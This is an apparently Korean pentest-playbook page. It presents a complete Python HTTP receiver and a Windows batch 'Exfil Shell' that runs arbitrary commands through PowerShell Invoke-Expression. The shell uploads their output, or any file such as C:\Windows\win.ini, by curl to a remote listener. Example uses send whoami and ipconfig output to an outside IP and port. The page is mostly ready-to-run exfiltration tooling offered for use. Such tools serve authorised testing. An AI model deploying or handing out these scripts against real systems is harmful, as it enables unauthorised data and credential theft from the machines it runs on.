Pentest Playbook

github: https://github.com/piroim/Python-script/tree/main/curl_request

1. curl_request 요약

모의해킹 및 침투 테스트를 진행하는 경우에 필요한 데이터를 빠르게 전송해야 하는 경우도 생깁니다.

1.1. 환경 구성

Python http 모듈을 사용하면 http 웹 서버를 가볍게 사용할 수 있습니다.
데이터를 전송할 때는 curl 또는 powershell을 이용해서 전송하는 것으로, 별다른 프로그램 설치 없이 사용할 수 있어야 합니다.

2. 사용방법

  1. http_receiver.py 실행 (포트 개별 지정)

    • 기본 값: 0.0.0.0:8080
  2. curl_request.bat 실행

    • 입력한 명령어 결과 및 파일은 ./files에 저장
#1. URL 설정
set-url http://10.10.10.10:12345

#2. 명령어 및 데이터 기반 저장
send-data whoami
send-data ipconfig /all

#3. 파일 형태 저장
send-file C:\Windows\win.ini (절대경로)
send-file filename.py (현재경로)

3. 스크립트 설명

3.1. python http 서버 스크립트 (http_receiver.py)

local에서 http 서버를 오픈해서 사용할 수 있지만, 외부에서 데이터를 전송할 때에는 동일한 네트워크 대역이 아니라면 포트포워딩 등의 과정이 필요합니다.
네트워크 환경에 맞춰서 사용하면 되며, 내부에 적용이 필요하면 별도의 설정을 해주셔야합니다
주요 기능으로는 다음과 같습니다.

from http.server import BaseHTTPRequestHandler, HTTPServer
import os, re
from datetime import datetime

FILES_DIR = "./files"
os.makedirs(FILES_DIR, exist_ok=True)


def parse_multipart(data: bytes, boundary: str) -> list[tuple[str, bytes]]:
    sep = ("--" + boundary).encode()
    parts = data.split(sep)
    results = []
    for part in parts[1:]:
        if part in (b"--\r\n", b"--"):
            break
        if b"\r\n\r\n" not in part:
            continue
        header_raw, body = part.split(b"\r\n\r\n", 1)
        body = body.rstrip(b"\r\n")
        header_str = header_raw.decode(errors="replace")
        m = re.search(r'filename="([^"]+)"', header_str)
        fname = os.path.basename(m.group(1)) if m else "upload.bin"
        results.append((fname, body))
    return results


def normalize_newlines(data: bytes) -> bytes:
    """CRLF → LF 정규화"""
    return data.replace(b"\r\n", b"\n").replace(b"\r", b"\n")


def to_utf8(data: bytes) -> bytes:
    """CP949(EUC-KR) 또는 기타 인코딩 → UTF-8 변환. 이미 UTF-8이면 그대로 반환."""
    try:
        data.decode("utf-8")
        return data
    except UnicodeDecodeError:
        pass
    try:
        return data.decode("cp949").encode("utf-8")
    except UnicodeDecodeError:
        return data.decode("cp949", errors="replace").encode("utf-8")


class Handler(BaseHTTPRequestHandler):
    def do_POST(self):
        ctype = self.headers.get("Content-Type", "")
        length = int(self.headers.get("Content-Length", 0))
        data = self.rfile.read(length)

        # multipart (curl -F "file=@...")
        if "multipart" in ctype:
            m = re.search(r'boundary=(.+)', ctype)
            boundary = m.group(1).strip() if m else ""
            for fname, content in parse_multipart(data, boundary):
                path = os.path.join(FILES_DIR, fname)
                with open(path, "wb") as f:
                    f.write(to_utf8(normalize_newlines(content)))
                print(f"[+] File saved : {path}")

        # 일반 텍스트 (curl -d @- 또는 curl -d "...")
        else:
            ts = datetime.now().strftime("%y%m%d")

            # URL path에 파일명이 있으면 그걸 사용 (예: /ipconfig.txt)
            url_fname = os.path.basename(self.path.lstrip("/"))
            fname = url_fname if url_fname else f"text_{ts}.txt"

            path = os.path.join(FILES_DIR, fname)
            content = to_utf8(normalize_newlines(data))

            # 파일명 지정된 경우 덮어쓰기, text_날짜 는 누적 append
            mode = "ab" if not url_fname else "wb"
            with open(path, mode) as f:
                f.write(content + (b"\n" if mode == "ab" else b""))
            preview = content[:300].decode(errors='replace')
            print(f"[+] Text saved : {path}")
            print(f"    Preview ---\n{preview}\n    ---")

        self.send_response(200)
        self.end_headers()

    def log_message(self, *a):
        pass


if __name__ == "__main__":
    port = 12345
    print(f"[*] Listening on 0.0.0.0:{port}  →  saving to {FILES_DIR}/")
    HTTPServer(("0.0.0.0", port), Handler).serve_forever()

3.2. 데이터/파일 요청 .bat 파일

@echo off
setlocal enabledelayedexpansion
chcp 65001 > nul

:: ANSI 활성화
reg add HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1 /f > nul 2>&1

:: ESC 문자 주입 (0x1B)
for /f %%a in ('echo prompt $E ^| cmd') do set "ESC=%%a"

set "GREEN=%ESC%[32m"
set "RED=%ESC%[31m"
set "YELLOW=%ESC%[33m"
set "RESET=%ESC%[0m"

set BASE_URL=http://1.1.1.1:12345

echo ==========================================
echo   Exfil Shell  ^|  !BASE_URL!
echo ==========================================
echo  send-data "command"     : execute and send
echo  send-file "filepath"    : send file
echo  set-url   "http://..."  : change target URL
echo  exit                    : quit
echo ==========================================
echo.

:loop
set "INPUT="
set /p "INPUT=> "

:: 빈 입력 무시
if not defined INPUT goto loop

:: exit
if /i "!INPUT!"=="exit" goto :end

:: ── set-url ───────────────────────────────
set "MATCHED="
echo(!INPUT! | findstr /i "^set-url" > nul && set "MATCHED=1"
if defined MATCHED (
    set "NEW_URL=!INPUT:~8!"
    set "NEW_URL=!NEW_URL:"=!"
    if not defined NEW_URL (
        echo !RED![-] URL cannot be empty.!RESET!
        goto loop
    )
    set "BASE_URL=!NEW_URL!"
    echo !YELLOW![*] URL changed : !BASE_URL!!RESET!
    goto loop
)

:: ── send-data ─────────────────────────────
set "MATCHED="
echo(!INPUT! | findstr /i "^send-data" > nul && set "MATCHED=1"
if defined MATCHED (
    set "CMD=!INPUT:~10!"
    set "CMD=!CMD:"=!"
    if not defined CMD (
        echo !RED![-] No command specified.!RESET!
        goto loop
    )

    :: 파일명 결정
    for /f "tokens=1" %%a in ("!CMD!") do set "BIN=%%a"
    set "FNAME=!BIN!.txt"
    echo(!BIN! | findstr /i "\." > nul
    if !errorlevel!==0 set "FNAME=!BIN!"

    :: PowerShell로 실행 → Out-String으로 줄바꿈 보존 → 임시 파일 저장
    set "TMPFILE=%TEMP%\exfil_tmp.txt"
    powershell -NoProfile -Command "[Console]::OutputEncoding=[System.Text.Encoding]::GetEncoding(949); $h='===cmd: !CMD!==='; $r=(Invoke-Expression '!CMD!') | Out-String; ($h + \"`r`n\" + $r) | Set-Content -Encoding UTF8 '!TMPFILE!'"

    :: --data-binary 로 줄바꿈 그대로 전송
    curl.exe -s -o nul -w "%%{http_code}" -X POST !BASE_URL!/!FNAME! --data-binary @"!TMPFILE!" > "%TEMP%\exfil_status.txt" 2> "%TEMP%\exfil_err.txt"
    set "CEL=!errorlevel!"
    if !CEL! neq 0 (
        set /p "CURL_ERR="<"%TEMP%\exfil_err.txt"
        echo !RED![-] curl error : !CURL_ERR!!RESET!
        del "!TMPFILE!" > nul 2>&1
        goto loop
    )

    set /p "STATUS="<"%TEMP%\exfil_status.txt"
    if "!STATUS!"=="200" (
        echo !GREEN![+] Success : !FNAME! sent  ^| !BASE_URL!/!FNAME!!RESET!
    ) else (
        echo !RED![-] Failed  : HTTP !STATUS!  ^| !BASE_URL!/!FNAME!!RESET!
    )
    del "!TMPFILE!" > nul 2>&1
    goto loop
)

:: ── send-file ─────────────────────────────
set "MATCHED="
echo(!INPUT! | findstr /i "^send-file" > nul && set "MATCHED=1"
if defined MATCHED (
    set "FPATH=!INPUT:~10!"
    set "FPATH=!FPATH:"=!"
    if not defined FPATH (
        echo !RED![-] No file path specified.!RESET!
        goto loop
    )
    if not exist "!FPATH!" (
        echo !RED![-] File not found : !FPATH!!RESET!
        goto loop
    )

    for %%a in ("!FPATH!") do set "FNAME=%%~nxa"

    curl.exe -s -o nul -w "%%{http_code}" -X POST !BASE_URL!/!FNAME! -F "file=@!FPATH!" > "%TEMP%\exfil_status.txt" 2> "%TEMP%\exfil_err.txt"
    set "CEL=!errorlevel!"
    if !CEL! neq 0 (
        set /p "CURL_ERR="<"%TEMP%\exfil_err.txt"
        echo !RED![-] curl error : !CURL_ERR!!RESET!
        goto loop
    )

    set /p "STATUS="<"%TEMP%\exfil_status.txt"
    if "!STATUS!"=="200" (
        echo !GREEN![+] Success : !FNAME! sent  ^| !BASE_URL!/!FNAME!!RESET!
    ) else (
        echo !RED![-] Failed  : HTTP !STATUS!  ^| !BASE_URL!/!FNAME!!RESET!
    )
    goto loop
)

:: 알 수 없는 명령어
echo !RED![-] Unknown command. Use send-data, send-file, set-url, or exit.!RESET!
goto loop

:end
echo !YELLOW![*] Bye.!RESET!
endlocal
ESC

💡 검색 팁

  • #T1572 - 태그로 검색
  • persistence - 키워드로 검색